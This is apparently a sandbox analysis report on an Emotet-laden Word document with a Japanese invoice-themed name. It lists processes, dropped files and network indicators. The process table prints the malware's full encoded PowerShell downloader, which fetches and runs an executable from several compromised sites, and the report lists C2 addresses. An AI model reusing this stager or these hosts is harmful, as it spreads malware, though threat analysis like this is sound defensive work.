| File name: | 請求書送付のお願い 521528 2020_01_17.doc |
| Full analysis: | https://app.any.run/tasks/60cfeca6-cf41-4f61-9d6f-39105a475b92 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 18, 2020, 04:49:53 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Cumque., Author: Alexis Marchand, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Jan 16 22:41:00 2020, Last Saved Time/Date: Thu Jan 16 22:41:00 2020, Number of Pages: 1, Number of Words: 5, Number of Characters: 30, Security: 0 |
| MD5: | C45709822998F93A45C9364E0B9CF995 |
| SHA1: | 513EEDEF38A953C7CB502DF81CB04037732CA44F |
| SHA256: | 5EFBE54EBBE4C47186E636C70D9DAFDA764E37D0F7DD36EF9D032C23D01423B4 |
| SSDEEP: | 6144:H0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Bzm8tigdE+w2:H0E3dxtR/iU9mvUPBS8tigdE+J |
MALICIOUS
Application was dropped or rewritten from another process
- 267.exe (PID: 2256)
- 267.exe (PID: 2796)
- serialfunc.exe (PID: 3160)
- serialfunc.exe (PID: 1796)
Downloads executable files from the Internet
- Powershell.exe (PID: 3168)
Emotet process was detected
- 267.exe (PID: 2796)
EMOTET was detected
- serialfunc.exe (PID: 1796)
Connects to CnC server
- serialfunc.exe (PID: 1796)
Changes the autorun value in the registry
- serialfunc.exe (PID: 1796)
SUSPICIOUS
Creates files in the user directory
- Powershell.exe (PID: 3168)
Executable content was dropped or overwritten
- Powershell.exe (PID: 3168)
- 267.exe (PID: 2796)
PowerShell script executed
- Powershell.exe (PID: 3168)
Executed via WMI
- Powershell.exe (PID: 3168)
Starts itself from another location
- 267.exe (PID: 2796)
Connects to server without host name
- serialfunc.exe (PID: 1796)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2752)
Creates files in the user directory
- WINWORD.EXE (PID: 2752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Cumque. |
|---|---|
| Subject: | - |
| Author: | Alexis Marchand |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:16 22:41:00 |
| ModifyDate: | 2020:01:16 22:41:00 |
| Pages: | 1 |
| Words: | 5 |
| Characters: | 30 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 34 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1796 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: MPEGPlayer MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2256 | "C:\Users\admin\267.exe" | C:\Users\admin\267.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: MPEGPlayer MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2752 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\請求書送付のお願い 521528 2020_01_17.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2796 | --b640ad31 | C:\Users\admin\267.exe | 267.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: MPEGPlayer MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3160 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 267.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: MPEGPlayer MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3168 | Powershell -w hidden -en JABXAGgAaAB2AGQAeAByAGIAcQB3AGwAawBmAD0AJwBBAG8AawBqAHMAdgBuAGcAcgBsAGsAZABrACcAOwAkAEQAYQBiAHcAZwByAGwAcwBjAGIAbgB1AGQAIAA9ACAAJwAyADYANwAnADsAJABXAGkAcwBhAGwAeABuAGcAeQBtAHkAawA9ACcASABmAHIAZABhAHoAagB1AG0AYwBqAGIAcAAnADsAJABQAHEAegBvAHEAeABzAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABhAGIAdwBnAHIAbABzAGMAYgBuAHUAZAArACcALgBlAHgAZQAnADsAJABUAGgAdQBwAGEAbwBiAG4AegBuAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAAagBiAHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQB6AHUAZABqAGYAbQBrAHkAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAGUAbABhAG4AbwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwBzAHMALwBkAGkAcwB0AC8AMgBlAHcALwAqAGgAdAB0AHAAOgAvAC8AOQAxADEAYwBvAG4AYwBlAHAAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBpADYAbgBnAFgANQAvACoAaAB0AHQAcAA6AC8ALwBhAHkAbwBuAHMAYwBoAG8AbwBsAHMALgBjAG8AbQAvAFUAQgBrAG8AcQBuAC8AKgBoAHQAdABwADoALwAvAGIAZQBlAGMAaAAuAG8AcgBnAC8AdwBhAHkAbgBlAC8AbABsAGQAbwAvACoAaAB0AHQAcAA6AC8ALwBmAGkAcgBlAGwAYQBiAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AZgA2AGYANAAvACcALgAiAFMAYABQAEwAaQB0ACIAKAAnACoAJwApADsAJABDAHcAcAByAGoAaABjAG8AZQBmAD0AJwBaAGcAZgBzAHIAcQB5AHkAZgBqAGcAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAgAGkAbgAgACQAWQB6AHUAZABqAGYAbQBrAHkAKQB7AHQAcgB5AHsAJABSAHQAZwBsAHAAagBiAHUAbAAuACIAZABPAHcAYABOAEwAYABPAGEAZABGAGAAaQBMAEUAIgAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAsACAAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABUAGcAbgBoAGEAbwBuAHAAbQBlAHgAaQA9ACcAWQBwAGYAYQBzAGcAaABwAHkAbAB1AHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHEAegBvAHEAeABzAGYAaQApAC4AIgBMAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADIANQA4ADUAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABTAHEAawBrAG4AbwB3AGEAdwA9ACcASQBqAHUAYgB2AGoAbQBkAHoAcQBkACcAOwBiAHIAZQBhAGsAOwAkAEEAbwBlAGgAYgBuAGsAaABqAGoAdAA9ACcAWABxAGcAYgBvAGoAdgBjAHkAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAGsAZABlAGQAcABwAGsAeABrAHoAawBvAD0AJwBVAGkAeQBhAGEAbQBpAG0AdwB4ACcA | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 242
Read events
1 421
Write events
693
Delete events
128
Modification events
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | op` |
Value: 6F706000C00A0000010000000000000000000000 | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345454142 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR98CF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFD32F6897AC0A5233.TMP | — | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1E728E0791ADCDBD.TMP | — | |
MD5:— | SHA256:— | |||
| 3168 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W4456GFTLYZO636LHMMB.temp | — | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$書送付のお願い 521528 2020_01_17.doc | pgc | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3168 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39a245.TMP | binary | |
MD5:— | SHA256:— | |||
| 3168 | Powershell.exe | C:\Users\admin\267.exe | executable | |
MD5:— | SHA256:— | |||
| 2796 | 267.exe | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
1
Threats
17
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3168 | Powershell.exe | GET | 200 | 110.45.165.20:80 | http://amelano.net/wp-includes/css/dist/2ew/ | KR | executable | 441 Kb | malicious |
1796 | serialfunc.exe | POST | 200 | 91.250.96.22:8080 | http://91.250.96.22:8080/ADvznqP | DE | binary | 132 b | malicious |
1796 | serialfunc.exe | POST | — | 81.17.92.70:80 | http://81.17.92.70/ZDPuECc | AZ | — | — | malicious |
1796 | serialfunc.exe | POST | — | 68.172.243.146:80 | http://68.172.243.146/CEyPCtI | US | — | — | malicious |
1796 | serialfunc.exe | POST | — | 64.40.250.5:80 | http://64.40.250.5/sbY5 | CA | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3168 | Powershell.exe | 110.45.165.20:80 | amelano.net | LG DACOM Corporation | KR | suspicious |
1796 | serialfunc.exe | 68.172.243.146:80 | — | Time Warner Cable Internet LLC | US | malicious |
1796 | serialfunc.exe | 64.40.250.5:80 | — | ICA Canada On-Line Inc. | CA | malicious |
1796 | serialfunc.exe | 81.17.92.70:80 | — | Baktelekom | AZ | malicious |
1796 | serialfunc.exe | 91.250.96.22:8080 | — | Host Europe GmbH | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
amelano.net |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3168 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3168 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3168 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1796 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
1796 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
1796 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1796 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
1796 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
1796 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1796 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 23 |
1 ETPRO signatures available at the full report